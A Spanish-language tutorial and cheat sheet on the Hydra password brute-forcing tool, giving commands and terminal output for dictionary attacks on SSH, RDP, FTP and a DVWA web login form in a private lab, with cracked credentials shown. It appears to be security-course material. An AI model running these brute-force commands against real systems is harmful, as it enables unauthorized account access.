

## Hydra – Fuerza bruta



**Uso Básico**

- `hydra -l <username> -P <password-list> <IP> <protocol>`

**SSH**

- `hydra -f -l admin -P rockyou.txt $IP ssh`

**RDP**

- `hydra -L users.txt -p 'mysuper-p@$w0rd' rdp://$IP`

**HTTP Form**

- `hydra -f -l user -P rockyou.txt $IP <method> "<login-page>:" <request-body>:<error-message>"`

**Opciones:**

- `-V` ver detalles
- `-l` usuario
- `-L` lista de usuarios
- `-P` contraseña
- `-P` diccionario de contraseñas
- `-S` puerto específico
- `-R` restaurar la sesión anterior
- `-f` salir al encontrar una combinación

Hydra es una herramienta de auditoría de inicio de sesión que trabaja con múltiples tareas en paralelo, soporta una gran variedad de protocolos. Es muy rápido y flexible, y los nuevos módulos son fáciles de agregar. Esta herramienta permite a los investigadores y consultores de seguridad mostrar lo fácil que sería obtener acceso no autorizado a un sistema de forma remota.

### ATAQUE SSH

Hydra puede ser una herramienta realmente sencilla y efectiva, pero también cuenta con algunos parámetros interesantes que valen la pena investigar. Para realizar ataques por diccionarios a protocolos comunes usaremos la siguiente sintaxis.

Sintaxis básica:

`hydra -l o -L <usuario, lista> -p, -P <contraseña o diccionario> <dirección IP> <protocolo>`



-l: especificamos el nombre del usuario

-P: ingresamos el diccionario a utilizar

-e nsr: esta opción nos permite ingresar una contraseña vacía (n), el nombre

del usuario como contraseña (s), y el mismo usuario invirtiendo las letras (r)

-t: número de tareas en paralelo

ssh: especificamos el protocolo

-V: usamos el modo detallado

-f: termina los procesos si ha encontrado una combinación válida

```
kali 0 1 [tmux] — 83x24
$ hydra -l sys -P rockyou.txt -e nsr -t 8 ssh://192.168.0.19/ -V -f [5/61]
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in milit
ary or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 8 tasks per 1 server, overall 8 tasks, 9 login tries (1:1/p:9), ~2 tries
per task
[DATA] attacking ssh://192.168.0.19:22/
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "sys" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "" - 2 of 9 [child 1] (0/0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "user" - 4 of 9 [child 2] (0/0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "password" - 5 of 9 [child 3] (0
/0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "postgre" - 6 of 9 [child 4] (0/
0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "batman" - 7 of 9 [child 5] (0/0
)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "123456788" - 8 of 9 [child 6] (
0/0)
[ATTEMPT] target 192.168.0.19 - login "sys" - pass "service" - 9 of 9 [child 7] (0/
0)
[22][ssh] host: 192.168.0.19 login: sys password: batman
0 8h 53m 1 [tmux] 63% | naek kali
```

## ATAQUE FTP

```
(naek@kali)-[~]  
$ hydra -L users.txt -P rockyou.txt 192.168.0.19 -s 2121 ftp -o ftp-login.txt [1/1]  
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in milit  
ary or secret service organizations, or for illegal purposes (this is non-binding,  
these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) [REDACTED]  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 42 login tries (l:7/p:6), ~3 tr  
ies per task  
[DATA] attacking ftp://192.168.0.19:2121/  
[2121][ftp] host: 192.168.0.19 login: user password: user  
[2121][ftp] host: 192.168.0.19 login: service password: service  
1 of 1 target successfully completed, 2 valid passwords found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) [REDACTED]  
  
(naek@kali)-[~]  
$ cat ftp-login.txt  
# Hydra [REDACTED] on 192.168.0.19 ftp (hydra -L users.txt -P  
rockyou.txt -s 2121 -o ftp-login.txt 192.168.0.19 ftp)  
[2121][ftp] host: 192.168.0.19 login: user password: user  
[2121][ftp] host: 192.168.0.19 login: service password: service  
  
(naek@kali)-[~]  
0 8h 57m 1 [tmux] 66% | naek kali
```

-L: ingresamos la lista de usuarios a utilizar

-P: usamos el mismo diccionario de contraseñas

IP: especificamos la dirección IP

ftp: protocolo a utilizar

-s: número de puerto específico

-o: guardamos los resultados del ataque



## ATAQUE A UN FORMULARIO WEB

- Usuario o lista de usuarios.
- Contraseña o diccionario de contraseñas.
- Dirección IP.
- Método de consulta (Get-Post). (Lo capturamos con burp)
- Página de inicio de sesión.
- Cuerpo de la solicitud.
- Mensaje de error de inicio de sesión.

```
(naek@kali) - [~]
$ hydra -L users.txt -P rockyou.txt 192.168.0.19 http-post-form "/dvwa/login.php:
username=^USER^&password=^PASS^&Login=Login:Login failed"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in milit
ary or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 42 login tries (l:7/p:6), ~3 tr
ies per task
[DATA] attacking http-post-form://192.168.0.19:80/dvwa/login.php:username=^USER^&pa
ssword=^PASS^&Login=Login:Login failed
[80][http-post-form] host: 192.168.0.19 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

(naek@kali) - [~]
$
```

Hacer el número 4 de fuerza bruta de esta página: [ATTACK.SAMSCCLASS.INFO](https://ATTACK.SAMSCCLASS.INFO)

